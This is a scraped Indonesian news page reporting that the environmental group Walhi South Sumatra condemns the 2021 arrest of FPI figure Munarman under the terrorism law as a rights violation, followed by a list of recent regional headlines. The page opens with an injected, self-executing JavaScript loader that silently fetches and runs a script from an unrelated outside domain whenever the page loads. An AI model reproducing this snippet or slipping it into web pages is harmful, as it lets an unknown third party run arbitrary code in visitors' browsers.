(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Walhi Sumsel Menilai Munarman Dikriminalisasi Pakai UU Terorisme


KANALKALIMANTAN.COM, PALEMBANG – Penangkapan pentolan FPI Munarman kian menuai kritik. Kali ini, berasal dari Wahana Lingkungan Hidup atau Walhi Sumatera Selatan.

Walhi menilai Munarman mengalami kriminalisasi dengan Undang-Undang Terorisme. Hal ini menjadi bentuk tindakan politik dan refresif negara guna mengekang kebebasan masyarakat sipil dan warga negara.

Dalam pernyataan sikapnya, Walhi Sumatera Selatan mengutuk penangkapan yang dilakukan aparat terhadap Munarman, Selasa (27/4/2021) lalu.

“Bahwa penangkapan tersebut merupakan suatu bentuk pelanggaran hak asasi manusia sebagaimana yang termaktub dalam pasal 1 ayat 6 UU 39 Tahun 1999 Tentang Hak Asasi Manusia,” Direktur Walhi Sumatera Selatan, Hairul Sobri, Jumat (30/4/2021).

Baca juga : RI Dapat Kiriman Vaksin dari China: Sinovac 6 juta Dosis, Sinopharm 482.400

Dikatakan ia, pelanggaran hak asasi manusia adalah setiap perbuatan seseorang atau kelompok orang termasuk parat negara baik disengaja maupun tidak disengaja atau kelalaian yang secara melawan hukum mengurangi, menghalangi, membatasi, dan atau mencabut hak asasi manusia seseorang atau kelompok orang yang dijamin oleh Undang-undang ini.

Hal ini tidak mendapatkan, atau dikhawatirkan tidak memperoleh penyelesaian hukum yang adil dan benar, berdasarkan mekanisme hukum yang berlaku.

“Dalam proses penangkapan pihak kepolisian melakukannya secara sewenang-wenang dan tidak sesuai dengan ketentuan hukum yang diatur dalam Undang-Undang Nomor 8 tahun 1981 tentang Hukum Acara Pidana (KUHAP), belum pernah dilakukan pemeriksaan dan ditetapkan statusnya sebagai tersangka sebagaimana disyaratkan dalam KUHAP junto Putusan Mahkamah Konstitusi Nomor: 21/PUU-XII/2014,” terang Hairul.

Bahwa Pasal 28 ayat (3) Undang-Undang Nomor 5 Tahun 2018 Tentang Pemberantasan Tindak Pidana Terorisme yang menyebutkan, ‘Pelaksanaan penangkapan orang yang diduga melakukan Tindak Pidana Terorismesebagaimana dimaksud pada ayat (1) dan ayat (2) harus dilakukan dengan menjunjung tinggi prinsip Hak Asasi Manusia.

“Proses penangkapan Munarman, adalah suatu bentuk tindakan yang tidak manusiawi dan merendahkan martabat kemanusiaan sebagaimana diatur dalam UU No. 5 tahun 1998 tentang Ratifikasi Konvensi Anti Penyiksaan, UU No. 39 tahun 1999 tentang Hak Asasi Manusia dan UU No. 13 tahun 2005 tentang Ratifikasi Kovenan Hak Sipil dan Politik,” terang ia.

Baca juga : Polair Temukan Tubuh Jaini Tak Bernyawa Lagi di Sungai Barito

Profesi Munarman sebagai Advokat ialah profesi ‘Officium nobile’ atau profesi yang terhormat yang merupakan Aparat Penegak Hukum yang bebas, mandiri dan tunduk pada Undang-Undang Advokat.

Bahwa dalam pemanggilan seorang Advokat untuk kepentingan pemeriksaan yang berkaitan dengan tugas menjalankan profesinya, harus dilakukan melalui organisasi advokat dimana advokat tersebut bernaung.

“Kami juga menilai bahwa kriminalisasi dengan menggunakan undang-undang terorisme adalah suatu bentuk tindakan politik refresif negara untuk mengekang kebebasan masyarakat sipil/warga negara dan mendorong kembali indonesia menjadi negara otoriter yang kejam,” tegasnya.

Tindakan aparatur kekuasaan negara yang sewenang-wenang menunjukan bukti adanya kemunduran demokrasi dan cita-cita keadilan sosial bagi seluruh Rakyat Indonesia yang jauh dari harapan.

“Oleh karena itu kami menuntut segera menghentikan proses hukum terhadap Munarman, dan Negara agar meminta maaf, memulihkan nama baiknya,” pungkasnya.(Suara.com)

 

 

 


Al Ghifari

Recent Posts

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

17 menit ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

5 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

5 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

22 jam ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

22 jam ago

Kafilah HSU Berangkat ke MTQ ke-35 Tingkat Provinsi Kalsel 2024

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan resmi melepas kafilah… Read More

23 jam ago

This website uses cookies.